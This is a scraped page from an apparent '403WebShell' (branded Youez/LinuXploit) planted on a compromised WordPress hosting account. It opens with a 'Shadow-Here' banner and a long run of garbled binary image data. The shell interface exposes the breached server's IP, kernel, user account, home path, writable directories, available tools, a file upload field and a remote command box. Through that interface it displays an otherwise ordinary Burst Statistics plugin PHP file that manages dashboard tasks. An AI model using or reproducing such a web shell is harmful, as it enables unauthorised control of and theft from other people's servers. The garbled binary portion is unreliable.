....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/class-tasks.php
<?php
namespace Burst\Admin;

// don't remove, it is used in the Tasks code.
use Burst\Traits\Admin_Helper;
use Burst\Traits\Helper;

defined( 'ABSPATH' ) || die();
class Tasks {
	use Helper;
	use Admin_Helper;

	public array $tasks = [];

	/**
	 * Get all structured app data.
	 *
	 * @return array{
	 *     tasks: array<int, array{
	 *         id: string,
	 *         icon: string,
	 *         condition: array<string, mixed>|callable[],
	 *         status: string,
	 *         label: string
	 *     }>
	 * }
	 */
	public function get(): array {
		return [
			'tasks' => $this->get_tasks(),
		];
	}

	/**
	 * Add initial tasks that are marked with ['condition']['type'] === activation by inserting an option
	 */
	public function add_initial_tasks(): void {
		$tasks = $this->get_raw_tasks();
		foreach ( $tasks as $task ) {
			if ( isset( $task['condition']['type'] ) && $task['condition']['type'] === 'activation' ) {
				$this->add_task( $task['id'] );
			}
		}
	}

	/**
	 * Tasks should never get validated directly, always use this schedule function
	 */
	public function schedule_task_validation(): void {
		if ( ! wp_next_scheduled( 'burst_validate_tasks' ) ) {
			wp_schedule_single_event( time() + 30, 'burst_validate_tasks' );
		}
	}
	/**
	 * Insert a task
	 */
	public function add_task( string $task_id ): void {
		$current_tasks         = get_option( 'burst_tasks', [] );
		$permanently_dismissed = $this->is_dismissed_permanently( $task_id );
		if ( $permanently_dismissed ) {
			return;
		}

		if ( ! in_array( $task_id, $current_tasks, true ) ) {
			$current_tasks[] = sanitize_title( $task_id );
			update_option( 'burst_tasks', $current_tasks, false );
		}
	}

	/**
	 * Check if this task is permanently dismissed.
	 */
	private function is_dismissed_permanently( string $task_id ): bool {
		$task = $this->get_task_by_id( $task_id );
		if ( isset( $task['dismiss_permanently'] ) && $task['dismiss_permanently'] ) {
			$permanently_dismissed = get_option( 'burst_tasks_permanently_dismissed', [] );
			if ( in_array( $task_id, $permanently_dismissed, true ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Remove a task from the permanently dismissed list.
	 */
	public function undismiss_task( string $task_id ): bool {
		$permanently_dismissed = get_option( 'burst_tasks_permanently_dismissed', [] );
		$key                   = array_search( $task_id, $permanently_dismissed, true );
		if ( $key !== false ) {
			unset( $permanently_dismissed[ $key ] );
			$permanently_dismissed = array_values( $permanently_dismissed );
			update_option( 'burst_tasks_permanently_dismissed', $permanently_dismissed, false );
			return true;
		}

		return false;
	}

	/**
	 * Dismiss a task
	 */
	public function dismiss_task( string $task_id ): void {
		$current_tasks = get_option( 'burst_tasks', [] );
		if ( in_array( sanitize_title( $task_id ), $current_tasks, true ) ) {
			do_action( 'burst_dismiss_task', $task_id );
			$current_tasks = array_diff( $current_tasks, [ $task_id ] );
			update_option( 'burst_tasks', $current_tasks, false );

			// only dismiss permanently if the task exists in the tasks array.
			$this->maybe_dismiss_permanently( $task_id );
		}

		delete_transient( 'burst_plusone_count' );
	}

	/**
	 * Store task as dismissed permanently
	 */
	private function maybe_dismiss_permanently( string $task_id ): void {
		$task = $this->get_task_by_id( $task_id );
		if ( isset( $task['dismiss_permanently'] ) && $task['dismiss_permanently'] ) {
			$permanently_dismissed = get_option( 'burst_tasks_permanently_dismissed', [] );
			if ( ! in_array( $task_id, $permanently_dismissed, true ) ) {
				$permanently_dismissed[] = $task_id;
			}
			update_option( 'burst_tasks_permanently_dismissed', $permanently_dismissed, false );
		}
	}

	/**
	 * Check if a task is active
	 */
	public function has_task( string $task_id ): bool {
		$current_tasks = get_option( 'burst_tasks', [] );
		return in_array( sanitize_title( $task_id ), $current_tasks, true );
	}

	/**
	 * Validate tasks
	 * Don't call directly. Use the schedule_task_validation function
	 */
	public function validate_tasks(): void {
		$tasks = $this->get_raw_tasks();
		foreach ( $tasks as $task ) {
			if ( isset( $task['condition']['type'] ) && $task['condition']['type'] === 'serverside' ) {
				if ( isset( $task['condition']['constant'] ) ) {
					$invert   = str_contains( $task['condition']['constant'], '!' );
					$constant = $invert ? substr( $task['condition']['constant'], 1 ) : $task['condition']['constant'];
					$is_valid = defined( $constant );
				} else {
					$invert   = str_contains( $task['condition']['function'], '!' );
					$function = $invert ? substr( $task['condition']['function'], 1 ) : $task['condition']['function'];
					$is_valid = $this->validate_function( $function );
				}

				if ( $invert ) {
					$is_valid = ! $is_valid;
				}
				if ( $is_valid ) {
					$this->add_task( $task['id'] );
				} else {
					$this->dismiss_task( $task['id'] );
				}
			}
		}
		delete_transient( 'burst_plusone_count' );
	}

	/**
	 * Get raw tasks directly from the config file and apply transformations.
	 *
	 * @return array<int, array{
	 *     id: string,
	 *     url?: string,
	 *     icon?: string,
	 *     condition?: mixed
	 * }>
	 */
	public function get_raw_tasks(): array {
		if ( empty( $this->tasks ) ) {
			$tasks       = require BURST_PATH . 'includes/Admin/App/config/tasks.php';
			$this->tasks = apply_filters( 'burst_tasks', $tasks );
		}

		// convert URL to website URL.
		foreach ( $this->tasks as $key => $task ) {
			if ( isset( $task['url'] ) ) {
				// if url starts with #, we want to link internally. So we can just return the url.
				if ( str_starts_with( $task['url'], '#' ) ) {
					continue;
				}
				// if url starts with https://, it's not a link to burst-statistics, but to an external website.
				if ( strpos( $task['url'], 'https://' ) === 0 ) {
					continue;
				}
				$this->tasks[ $key ]['url'] = $this->get_website_url(
					$task['url'],
					[
						'utm_source'  => 'tasks',
						'utm_content' => $task['id'],
					]
				);
			}
		}

		return $this->tasks;
	}

	/**
	 * Get array of tasks with metadata, filtered and sorted.
	 *
	 * Each task contains:
	 * - 'id': string
	 * - 'icon': string ('open', 'success', 'error', 'warning', etc.)
	 * - 'condition': callable[]|array<string, mixed>
	 * - 'status': string ('open' or 'completed')
	 * - 'label': string
	 *
	 * @return array<int, array{
	 *     id: string,
	 *     icon: string,
	 *     condition: array<string, mixed>|callable[],
	 *     status: string,
	 *     label: string
	 * }>
	 */
	public function get_tasks(): array {
		$tasks = $this->get_raw_tasks();
		foreach ( $tasks as $index => $task ) {
			$tasks[ $index ] = wp_parse_args(
				$task,
				[
					'condition' => [],
					'icon'      => 'open',
				]
			);
		}
		// Filter out tasks that do not apply, or are dismissed.
		$dismiss_non_error_tasks = $this->get_option_bool( 'dismiss_non_error_notices' );

		foreach ( $tasks as $index => $task ) {
			// set task status based on current icon.
			$tasks[ $index ]['status'] = $task['icon'] !== 'success' ? 'open' : 'completed';

			// get the translated label.
			$tasks[ $index ]['label'] = $this->get_label( $task['icon'] );

			if ( isset( $task['condition']['type'] ) && $task['condition']['type'] === 'clientside' ) {
				continue;
			}

			// remove this option if it's dismissed.
			if ( ! $this->has_task( $task['id'] ) ) {
				unset( $tasks[ $index ] );
			}

			// dismiss all non error tasks if this option is enabled.
			if ( $dismiss_non_error_tasks && $task['icon'] !== 'error' ) {
				unset( $tasks[ $index ] );
			}
		}

		$tasks = $this->filter_unique_ids( $tasks );

		// sort so warnings are on top.
		$warnings = [];
		$open     = [];
		$other    = [];
		foreach ( $tasks as $index => $task ) {
			if ( $task['icon'] === 'warning' ) {
				$warnings[ $index ] = $task;
			} elseif ( $task['icon'] === 'open' ) {
				$open[ $index ] = $task;
			} else {
				$other[ $index ] = $task;
			}
		}
		return $warnings + $open + $other;
	}

	/**
	 * Get translated label
	 */
	private function get_label( string $icon ): string {
		$icon_labels = [
			'completed' => __( 'Completed', 'burst-statistics' ),
			'new'       => __( 'New!', 'burst-statistics' ),
			'warning'   => __( 'Warning', 'burst-statistics' ),
			'error'     => __( 'Error', 'burst-statistics' ),
			'open'      => __( 'Open', 'burst-statistics' ),
			'pro'       => __( 'Pro', 'burst-statistics' ),
			'sale'      => __( 'Sale', 'burst-statistics' ),
			'offer'     => __( 'Offer', 'burst-statistics' ),
			'milestone' => __( 'Milestone', 'burst-statistics' ),
			'insight'   => __( 'Update', 'burst-statistics' ),
		];
		return $icon_labels[ $icon ];
	}

	/**
	 * Remove duplicate IDs from the tasks array, keeping the last occurrence.
	 *
	 * @return array<int, array{id: string, icon: string, condition: mixed, status: string, label: string}>
	 */
	private function filter_unique_ids( array $tasks ): array {
		$unique_tasks = [];
		foreach ( $tasks as $task ) {
			// Check if the id already exists in the unique array.
			if ( ! in_array( $task['id'], array_column( $unique_tasks, 'id' ), true ) ) {
				// If the id is not in the unique array, add the current task.
				$unique_tasks[] = $task;
			} else {
				// if it is already in the array, replace the previous one.
				$index                  = array_search( $task['id'], array_column( $unique_tasks, 'id' ), true );
				$unique_tasks[ $index ] = $task;
			}
		}
		return $unique_tasks;
	}

	/**
	 * Get a task by ID.
	 */
	public function get_task_by_id( string $task_id ): ?array {
		$tasks = $this->get_raw_tasks();
		foreach ( $tasks as $task ) {
			if ( $task['id'] === $task_id ) {
				return $task;
			}
		}
		return null;
	}



	/**
	 * Count the plusones
	 *
	 * @since 3.2
	 */
	public function plusone_count(): int {
		if ( ! $this->user_can_manage() ) {
			return 0;
		}

		$cache = ! $this->is_burst_page();
		$count = get_transient( 'burst_plusone_count' );
		if ( ! $cache || ( $count === false ) ) {
			$count   = 0;
			$notices = $this->get_tasks();
			foreach ( $notices as $id => $notice ) {
				$success = isset( $notice['icon'] ) && $notice['icon'] === 'success';
				if ( ! $success
					&& isset( $notice['plusone'] )
					&& $notice['plusone']
				) {
					++$count;
				}
			}

			if ( $count === 0 ) {
				$count = 'empty';
			}
			set_transient( 'burst_plusone_count', $count, DAY_IN_SECONDS );
		}

		if ( $count === 'empty' ) {
			return 0;
		}
		return $count;
	}

	/**
	 * Get output of function, in format 'function', or 'class()->sub()->function'
	 */
	private function validate_function( string $func ): bool {

		$invert = false;
		if ( str_contains( $func, '! ' ) ) {
			$func   = str_replace( '!', '', $func );
			$invert = true;
		}
		if ( str_contains( $func, 'wp_option_' ) ) {
			$output = get_option( str_replace( 'wp_option_', '', $func ) ) !== false;
		} else {
			if ( preg_match( '/(.*)\(\)\-\>(.*)->(.*)/i', $func, $matches ) ) {
				$base     = $matches[1];
				$class    = $matches[2];
				$function = $matches[3];
				$output   = call_user_func( [ $base()->{$class}, $function ] );
			} elseif ( preg_match( '/^\s*([\w\\\\]+)::(\w+)\s*\(\s*\)\s*$/', $func, $matches ) ) {
				$class    = $matches[1];
				$function = $matches[2];
				if ( $class === 'Tasks' ) {
					// @phpstan-ignore-next-line
					$output = self::$function();
				} else {
					// @phpstan-ignore-next-line
					$output = $class::$function();
				}
			} elseif ( preg_match( '/\s*\(\s*new\s+(.*)\s*\(\s*\)\s*\)\s*->\s*(.*)\s*\(\s*\)/', $func, $matches ) ) {
				$class    = $matches[1];
				$function = $matches[2];
				if ( $class === 'Tasks' ) {
					$output = call_user_func( [ $this, $function ] );
				} else {
					$class_obj = new $class();
					$output    = call_user_func( [ $class_obj, $function ] );
				}
			} else {
				$output = $func();
			}

			if ( $invert ) {
				$output = ! $output;
			}

			if ( $invert ) {
				$output = ! $output;
			}
		}

		return (bool) $output;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit